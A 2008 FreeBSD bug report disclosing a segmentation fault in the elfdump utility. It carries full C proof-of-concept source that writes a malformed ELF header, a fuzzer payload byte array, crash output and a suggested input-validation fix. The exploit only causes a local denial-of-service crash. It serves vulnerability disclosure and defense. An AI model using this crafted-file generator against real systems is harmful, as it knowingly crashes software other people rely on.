Skip site navigation (1)Skip section navigation (2)
Date:      Tue, 12 Feb 2008 18:01:18 GMT
From:      David Reguera Garcia <david.reguera@inteco.es>
To:        freebsd-gnats-submit@FreeBSD.org
Subject:   bin/120562: ELFdump crash when analyzing crafted ELF file.
Message-ID:  <200802121801.m1CI1Iki001070@www.freebsd.org>
Resent-Message-ID: <200802121810.m1CIA3Qw061667@freefall.freebsd.org>

next in thread | raw e-mail | index | archive | help

>Number:         120562
>Category:       bin
>Synopsis:       ELFdump crash when analyzing crafted ELF file.
>Confidential:   no
>Severity:       non-critical
>Priority:       low
>Responsible:    freebsd-bugs
>State:          open
>Quarter:        
>Keywords:       
>Date-Required:
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Tue Feb 12 18:10:02 UTC 2008
>Closed-Date:
>Last-Modified:
>Originator:     David Reguera Garcia
>Release:        5.5, 6.2, 6.3
>Organization:
INTECO-CERT
>Environment:
>Description:
     __FBSDID("$FreeBSD: src/usr.bin/elfdump/elfdump.c, v 1.12.8.2 2006/01/28 
     18:40:55 marcel Exp $");
     ----------------------------------------------------------
     + EVIL ELF GENERATOR FOR ELFDUMP - david.reguera@inteco.es
     + David Reguera Garcia           - INTECO-CERT
     ----------------------------------------------------------

    Advisory:
    ============================================================================
    Software            : elfdump
    Version             : 1.12.8.2 2006/01/28 18:40:55
    Author              : Jake Burkholder <jake@FreeBSD.org>
    Remote              : NO
    Execution of code   : NO
    Privilege scalation : NO
    Discovered by : INTECO-CERT - David Reguera Garcia <david.reguera@inteco.es>
    Exploit by    : INTECO-CERT - David Reguera Garcia <david.reguera@inteco.es>
    Description   : When elfdump analyzes an "evil" elf, the application crashes 
                    and causes a Segmentation fault: 11
    Affected OS:         
        - FreeBSD:
            - 5.5 - TESTED AND FOUND 
            - 6.2 - TESTED AND FOUND
            - 6.3 - TESTED AND FOUND
            - Maybe others, the elfdump utility first appeared in FreeBSD 5.0
    
    Techninal information:
    ----------------------------------------------------------------------------
    The problem resides in the use of le32dec, be32dec ... without validate the 
    input address. 
    
    Explotation
    ----------------------------------------------------------------------------
    An example of this explotation can be the following:

    In the main function we can find the following call:
    offset = elf_get_off(e, (char *)sh + shstrndx * shentsize, SH_OFFSET); 
    
    sh: mapped area with the evil ELF + e_shoff (offset of the section header).
    e_shoff, shstrndx and shentsize are used directly from the mapped ELF.
    
    What is the problem? elf_get_off, not verifies if the address is out of 
    range. If we use e_shoff in ELF out of range, the application may crash:
    
    #define	elf_get_off	elf_get_quad

    u_int64_t
    elf_get_quad(Elf32_Ehdr *e, void *base, elf_member_t member)
    {
    	u_int64_t val;
    
    	val = 0;
    	switch (e->e_ident[EI_CLASS]) {
    	case ELFCLASS32: 
    		base = (char *)base + elf32_offsets[member];
    		switch (e->e_ident[EI_DATA]) {
    		case ELFDATA2MSB:
    			val = be32dec(base);
    			break;
    		case ELFDATA2LSB: 
    			val = le32dec(base);
    			break;
    		case ELFDATANONE:
    			errx(1, "invalid data format");
    .....
    
    When does it crash? It is easy, for example an ELF with e_ident[EI_CLASS] is
    ELFCLASS32 and e_ident[EI_DATA] is ELFDATA2LSB, then it executes:
        val = le32dec(base);
    
    le32dec is this inline function:
        
    static __inline uint32_t
    le32dec(const void *pp)
    {
    	unsigned char const *p = (unsigned char const *)pp;
    
    	return ((p[3] << 24) | (p[2] << 16) | (p[1] << 8) | p[0]);
    }
    
    This function accesses the memory values of pp, if pp is not a readable
    address the application crashes with Segmentation fault: 11
    
    In other words, if we create an evil ELF with an evil e_shoff the 
    application crashes. (Also it is possible to create evil shstrndx, 
    shentsize ...) 
    
    I create a POC exploit which creates an evil ELF to crash elfdump.
    In this exploit the values of shstrndx and shentsize are filled with 0 for 
    simplicity.

    Compile & execute:

    [Dreg@ ~/vuln]# gcc -pedantic -ansi-c -o xpl xpl.c
    [Dreg@ ~/vuln]# ./xpl -f pocdump && echo "-" && \
    echo " Executing elfdump....:" && elfdump -a pocdump
    
     __FBSDID("$FreeBSD: src/usr.bin/elfdump/elfdump.c,
     v 1.12.8.2 2006/01/28 18:40:55 marcel Exp $");
     ----------------------------------------------------------
     + EVIL ELF GENERATOR FOR ELFDUMP - david.reguera@inteco.es
     + David Reguera Garcia           - INTECO-CERT
     ----------------------------------------------------------
     Note: run it with -h parameter to show help.
    
     Evil ELF written using e_shoff: 16777215, at: pocdump
     Now, try elfdump -a pocdump
    -
     Executing elfdump....:
    Segmentation fault: 11 (core dumped)
    
    Low level area
    ============================================================================
    The ASM code of le32dec is:
        
    loc_80488DC:
    movzx   edx, byte ptr [ebx+3]
    movzx   eax, byte ptr [ebx+2]
    shl     eax, 10h
    shl     edx, 18h
    or      edx, eax
    movzx   eax, byte ptr [ebx+1]
    shl     eax, 8
    or      edx, eax
    movzx   eax, byte ptr [ebx]
    
    If [EBX], [EBX+2], [EBX+3] or [EBX+1] are a memory non readable the 
    application crashes.

    Note
    ============================================================================
    This POC exploit may crash the application in some other memory address as 
    well as 0x80488DC, for example:

    [Dreg@ ~/vuln]# ./xpl -o 20 -f petadump && echo "-" && \
    echo " Executing elfdump....:" && elfdump -a petadump
    
     __FBSDID("$FreeBSD: src/usr.bin/elfdump/elfdump.c,
     v 1.12.8.2 2006/01/28 18:40:55 marcel Exp $");
     ----------------------------------------------------------
     + EVIL ELF GENERATOR FOR ELFDUMP - david.reguera@inteco.es
     + David Reguera Garcia           - INTECO-CERT
     ----------------------------------------------------------
     Note: run it with -h parameter to show help.
    
     Evil ELF written using e_shoff: 20, at: petadump
     Now, try: elfdump -a petadump
    -
     Executing elfdump....:
    
    elf header:
    
    Segmentation fault: 11 (core dumped)
    
    In this case the application crashes at 0x28132f4f:
    0x28132f4f <__vfprintf+9727>:   repnz scas %es:(%edi),%al
    This is caused by the following call in the elfdump.c file:
    fprintf(out, "\te_ident: %s %s %s\n", ei_classes[class], ei_data[data],
	    ei_abis[osabi]);

    [Dreg@ ~/vuln]# gdb --core elfdump.core
    GNU gdb 6.1.1 [FreeBSD]
    Copyright 2004 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and you are
    welcome to change it and/or distribute copies of it under certain conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB.  Type "show warranty" for details.
    This GDB was configured as "i386-marcel-freebsd".
    Core was generated by `elfdump'.
    Program terminated with signal 11, Segmentation fault.
    #0  0x28132f4f in ?? ()
    
    Greetings
    ============================================================================
    For his help with the English translation:
        - Javier Berciano <javier.berciano@inteco.es>
        - Ana Hijosa <ana.hijosa@inteco.es>
    
    Others
    ============================================================================
    Payload generated by my ELF Fuzzer used to discover the bug:
  
    unsigned char payload[] =
    {
        0x7F, 0x45, 0x4C, 0x46, 0x01, 0x01, 0x01, 0x09, 0x00, 0x00, 0x00, 0x00, 
        0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 
        0x39, 0x86, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xF0, 0x18, 0x00, 0x00, 
        0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x06, 0x00, 0x28, 0x00, 
        0x18, 0x00, 0x15, 0x00, 0x06, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00, 
        0x34, 0x80, 0x04, 0x08, 0x34, 0x80, 0x04, 0x08, 0xC0, 0x00, 0x00, 0x00, 
        0xC0, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 
        0x03, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0xF4, 0x80, 0x04, 0x08, 
        0xF4, 0x80, 0x04, 0x08, 0x15, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 
        0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
        0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 
        0x51, 0x06, 0x00, 0x00, 0x51, 0x06, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 
        0x00, 0x10, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x3C, 0x16, 0x00, 0x00, 
        0x3C, 0x96, 0x04, 0x08, 0x3C, 0x96, 0x04, 0x08, 0xD8, 0x00, 0x00, 0x00, 
        0xF8, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 
        0x02, 0x00, 0x00, 0x00, 0x4C, 0x16, 0x00, 0x00, 0x4C, 0x96, 0x04, 0x08, 
        0x4C, 0x96, 0x04, 0x08, 0x98, 0x00, 0x00, 0x00, 0x98, 0x00, 0x00, 0x00, 
        0x06, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 
        0x0C, 0x11, 0x00, 0x00, 0x0C, 0x81, 0x04, 0x08, 0x0C, 0x81, 0x04, 0x08, 
        0x18, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 
        0x04, 0x00, 0x00, 0x00, 0x00, 
    } ;

>How-To-Repeat:
Use this exploit:

/*
gcc -ansi-c -pedantic -o xpl xpl.c
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#pragma pack(1)

/* ELF DATA ---------------------------------------------------------------- */
#define ELFMAG		"\177ELF"
#define EI_NIDENT   (16)
#define ELFCLASS32	1	/* 32-bit architecture. */
#define ELFDATA2LSB	1	/* 2's complement little-endian. */
#define EI_CLASS	4	/* Class of machine. */
#define EI_DATA		5	/* Data format. */

typedef signed char    int8_t;
typedef unsigned char  uint8_t;
typedef short          int16_t;
typedef unsigned short uint16_t;
typedef int            int32_t;
typedef unsigned       uint32_t;

typedef uint32_t Elf32_Addr;
typedef uint32_t Elf32_Off;
typedef uint16_t Elf32_Half;

/* Types for signed and unsigned 32-bit quantities.  */
typedef uint32_t Elf32_Word;
typedef	int32_t  Elf32_Sword;
typedef uint32_t Elf64_Word;
typedef	int32_t  Elf64_Sword;

typedef struct 
{
    unsigned char e_ident[EI_NIDENT];   /* File identification. */
    Elf32_Half    e_type;               /* File type. */
    Elf32_Half    e_machine;            /* Machine architecture. */
    Elf32_Word    e_version;            /* ELF format version. */
    Elf32_Addr    e_entry;              /* Entry point. */
    Elf32_Off     e_phoff;              /* Program header file offset. */
    Elf32_Off     e_shoff;              /* Section header file offset. */
    Elf32_Word    e_flags;              /* Architecture-specific flags. */
    Elf32_Half    e_ehsize;             /* Size of ELF header in bytes. */
    Elf32_Half    e_phentsize;          /* Size of program header entry. */
    Elf32_Half    e_phnum;              /* Number of program header entries. */
    Elf32_Half    e_shentsize;          /* Size of section header entry. */
    Elf32_Half    e_shnum;              /* Number of section header entries. */
    Elf32_Half    e_shstrndx;           /* Section name strings section. */
	
} Elf32_Ehdr;

/* -------------------------------------------------------------------------- */

/* EXPLOIT HEADER ----------------------------------------------------------- */
#define MIN_ARGS        2
#define NR_FILE         1
#define NR_OFFSET_SHDR  2

#define DEFAULT_FILE_DUMP    "elfdump_segfault"
#define DEFAULT_SHDR_OFFSET  0xFFFFFF
#define VALUE_FILL_HEADER    0x00

typedef enum BOOL_e
{
    FALSE = 0,
    TRUE

} BOOL_t;

int exploit( const int, const char * const[] );
int  _exploit( const char * const, FILE * const, Elf32_Off );
int GetArgs
( 
    const int             , 
    const char  * const[] , 
    const char **         , 
    Elf32_Off   * const   , 
    BOOL_t      * const 
);
void ShowHelp( void );
/* -------------------------------------------------------------------------- */

/* EXPLOIT SOURCE ----------------------------------------------------------- */
int main( int argc, char * argv[] )
{
    int returnf;
    
    returnf = exploit( argc, (const char ** const) argv );
    
    return returnf;
}

int exploit( const int argc, const char * const argv[] )
{
    const char * file_dump_name;
    FILE       * file_dump_desc;
    int          returnf;
    Elf32_Off    offset_shdr;
    BOOL_t       help;
    
    printf
    ( 
        "\n"
        " __FBSDID(\"$FreeBSD: src/usr.bin/elfdump/elfdump.c,\n"
        " v 1.12.8.2 2006/01/28 18:40:55 marcel Exp $\");\n"
        " ----------------------------------------------------------\n"
        " + EVIL ELF GENERATOR FOR ELFDUMP - david.reguera@inteco.es\n" 
        " + David Reguera Garcia           - INTECO-CERT\n"
        " ----------------------------------------------------------\n"
        " Note: run it with -h parameter to show help.\n"
        "\n"
    );
    
    if ( GetArgs( argc, argv, & file_dump_name, & offset_shdr, & help ) == -1 )
        return -1;
    
    if ( help == TRUE )
    {
        ShowHelp();
        return -1;
    }
        
    if ( file_dump_name == NULL )
        file_dump_name = DEFAULT_FILE_DUMP;
    if ( offset_shdr == 0 )
        offset_shdr = DEFAULT_SHDR_OFFSET;
    
    file_dump_desc = fopen( file_dump_name, "wb" );
    if ( file_dump_desc == NULL )
    {
        perror( " Error: Creating evil ELF" );
        
        return -1;
    }
       
    returnf = _exploit( file_dump_name, file_dump_desc, offset_shdr );
        
    fclose( file_dump_desc );

    return returnf;
}

int _exploit
( 
    const char * const file_dump_name , 
    FILE       * const file_dump_desc ,
    Elf32_Off          offset_shdr
)
{
    Elf32_Ehdr payload;
    
    memset( & payload, VALUE_FILL_HEADER, sizeof( payload ) );
    
    memcpy( payload.e_ident, ELFMAG, sizeof( payload.e_ident ) );
    payload.e_ident[EI_CLASS] = ELFCLASS32;
    payload.e_ident[EI_DATA]  = ELFDATA2LSB;
    
    payload.e_shoff           = offset_shdr;
    
    if ( fwrite( & payload, sizeof( payload ), 1, file_dump_desc ) != 1 )
    {
        printf( " Error: Writting evil ELF" );
        return -1;
    }
    else
    {
        printf
        ( 
            " Evil ELF written using e_shoff: %u, at: %s\n"
            " Now, try: elfdump -a %s\n"
            , 
            offset_shdr, file_dump_name, file_dump_name 
        );
    }
       
    return 0;
}

int GetArgs
( 
    const int             argc             , 
    const char   *  const argv[]           , 
    const char  **        file_dump_name   , 
    Elf32_Off    *  const offset_shdr      ,
    BOOL_t       *  const help
)
{
    const char * actual_param;
    int          i;

    * file_dump_name = NULL;
    * offset_shdr    = 0;
    i                = 1;
    * help             = FALSE;
    while ( ( i < argc ) && ( * help == FALSE ) )
    {
        if ( strcmp( argv[i], "-h" ) == 0 )
            * help = TRUE;
        else if ( i + 1 < argc )
        {
            actual_param = argv[i + 1];
            if ( strcmp( argv[i], "-f" ) == 0 )
                * file_dump_name = actual_param;
            else if ( strcmp( argv[i], "-o" ) == 0 )
                * offset_shdr = atoi( actual_param );
        }
        
        i++;
    }
        
    return 0;
}

void ShowHelp( void )
{
    /* I divide it in two calls, because:
        warning: string length `706' is greater than the length `509' ISO C89 
        compilers are required to support 
    */

    puts
    (
        " Usage: program [-h|-f,-o]\n"
        "     -h: Show help.\n"
        "     -f: File to dump the evil ELF. [OPTIONAL]\n"
        "     -o: e_shoff value of the evil ELF.[OPTIONAL]\n"
        "\n"
        " The value of e_shoff + mmap of the elfdump must be a non readable\n"
        " address: MOVZX EAX, BYTE PTR [EBX]:\n"
        " EBX = (e_shoff + mmap) + (shstrndx * shentsize)\n"
        " -\n"
        " In this exploit the value of shstrndx and shentsize are filled \n"
        " with 0 for simplicity:\n"
        " EBX = (e_shoff + mmap) + (0 * 0)\n"
        " EBX = (e_shoff + mmap)\n"
    );
    printf
    (
        " And we can control the value of e_shoff with -o param.\n"
        " -\n"
        " Default values:\n"
        "     -f: %s\n"
        "     -o: %d\n"
        " -\n"
        " Example of usage:\n"
        "     program -o 10000 -f evil_elf10000\n"
        "     -\n"
        "     [Dreg@ ~/vuln]# elfdump -a evil_elf10000\n"
        "     Segmentation fault: 11 (core dumped)\n"
        "\n" 
        " Note: This POC exploit may crash the application in some other \n"
        "       memory address as well as 0x80488DC, for example inside\n" 
        "       fprintf\n"
        "\n"
        ,
        
        DEFAULT_FILE_DUMP   ,
        DEFAULT_SHDR_OFFSET
    );
}
/* -------------------------------------------------------------------------- */

/* EOF */


>Fix:
Input validation of ELF header fields, before using them to read memory address values.

>Release-Note:
>Audit-Trail:
>Unformatted:



Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?200802121801.m1CI1Iki001070>